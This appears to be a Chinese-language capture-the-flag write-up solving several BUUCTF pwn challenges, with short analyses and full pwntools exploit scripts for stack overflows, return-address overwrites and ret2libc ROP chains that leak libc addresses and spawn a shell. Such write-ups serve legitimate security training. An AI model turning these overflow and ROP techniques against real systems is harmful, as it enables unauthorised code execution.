连上就有flag的pwn
RIP覆盖一下
IDA看一下:
典型的溢出,函数中有fun函数:
看一下偏移:
有一个需要注意的地方就是nc连上发现没有输出input,直接让我输入,所以exp改了一下。
exp:
from pwn import *
p = remote('pwn.buuoj.cn', 6001)
#p = process('../files/pwn1')
payload = 'a' * (0xf + 8) + p64(0x401186)
p.sendline(payload)
p.interactive()
得到flag:
ciscn_2019_c_1
还是个64位的ELF,IDA分析一下:
main函数里没有啥:
encrypt()函数里存在栈溢出:
由于程序中没有system和sh所以ROP攻击。
思路是通过栈溢出返回程序中的puts函数把gets函数的地址泄露出来,然后找到偏移地址,再调用system和/bin/sh来获得shell。
看一下s:
exp:
from pwn import *
from LibcSearcher import *
#p = process('../files/ciscn_2019_c_1')
p = remote('pwn.buuoj.cn', 20115)
e = ELF('../files/ciscn_2019_c_1')
start = 0x400B28
rdi_addr = 0x0000000000400c83
puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
p.sendlineafter('choice!\n', '1')
payload1 = 'a' * (0x50 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)
p.sendline(payload1)
p.recvuntil('@')
p.recvline()
gets_leak = u64(p.recvline()[:-1].ljust(8, '\0'))
log.success('get_leak_addr => {}'.format(hex(gets_leak)))
libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
p.sendlineafter('choice!\n', '1')
payload2 = 'a' *(0x50 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()
运行得到flag:
warmup_csaw_2016
看一下源码:
很明显的栈溢出。程序中还有这个:
没啥说的了,直接上exp:
from pwn import *
p = remote('pwn.buuoj.cn', 20035)
payload = 'a' * (0x40 + 8)
payload += p64(0x40060d)
p.recvuntil('>')
p.sendline(payload)
p.interactive()
得到flag:
pwn1_sctf_2016
分析源码:
第13行发现传入的s被限制在了31个字符,没法溢出,但是接着看发现当输入I的时候,程序会把I变成you,这样一来原本一个字符就变成了三个字符,可以溢出了!
发现程序中有get_flag函数:
那么思路就是溢出让程序返回get_flag函数。
动态调试查看输入的起始地址为FFCD1D48(you是程序运行自己修改的):
程序返回地址存放的位置为FFCD1D90:
所以偏移量就是90-4C-4=0x40=64,那么就需要填充64个字节,所以构造21个I加一个A,exp如下:
from pwn import *
#p = process('../files/pwn1_sctf_2016')
p = remote('pwn.buuoj.cn',20086)
e = ELF('../files/pwn1_sctf_2016')
get_flag = e.symbols['get_flag']
log.success('get_flag_addr => {}'.format(hex(get_flag)))
payload = 'I' * 21 + 'A' + p32(get_flag)
p.sendline(payload)
print(p.recv())
得到flag:
ciscn_2019_en_1
和ciscn_2019_c_1一模一样,exp改个端口号就行了。
ciscn_2019_n_1
源码很简单:
就是一个简单的溢出让v2变成11.28125。v1是var_30,v2是var_4:
再看一下11.28125在程序中的表示:
也就是让v2变成41348000h,所以exp如下:
from pwn import *
#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)
payload = '1' * 0x2c + p64(0x41348000)
p.recv()
p.sendline(payload)
p.interactive()
我去{{tuxue}},居然告诉我没有flag,可能是出题的时候环境配的有问题吧,或者是就是个坑。
不过没关系,那就ROP,具体没啥好说的和前几道题都差不多,,不多说了。
exp:
from pwn import *
from LibcSearcher import *
#p = process('../files/ciscn_2019_n_1')
p = remote('pwn.buuoj.cn', 20137)
e = ELF('../files/ciscn_2019_n_1')
rdi_addr = 0x0000000000400793
start = 0x4006DC
puts_plt = e.plt['puts']
gets_got = e.got['gets']
log.success('puts_plt => {}'.format(hex(puts_plt)))
log.success('gets_got => {}'.format(hex(gets_got)))
payload1 = 'a' * (0x30 + 8)
payload1 += p64(rdi_addr) + p64(gets_got) + p64(puts_plt)
payload1 += p64(start)
p.sendline(payload1)
p.recvuntil('11.28125\n')
gets_leak = u64(p.recvline()[:-1].ljust(8,'\0'))
log.success('gets_leak_addr => {}'.format(hex(gets_leak)))
libc = LibcSearcher('gets', gets_leak)
libc_base = gets_leak - libc.dump('gets')
sys_addr = libc_base + libc.dump('system')
bin_sh_addr = libc_base + libc.dump('str_bin_sh')
log.success('libc_base_addr => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(sys_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
p.recvline()
payload2 = 'a' * (0x30 + 8)
payload2 += p64(rdi_addr) + p64(bin_sh_addr) + p64(sys_addr)
p.sendline(payload2)
p.interactive()
取得shell,得到flag: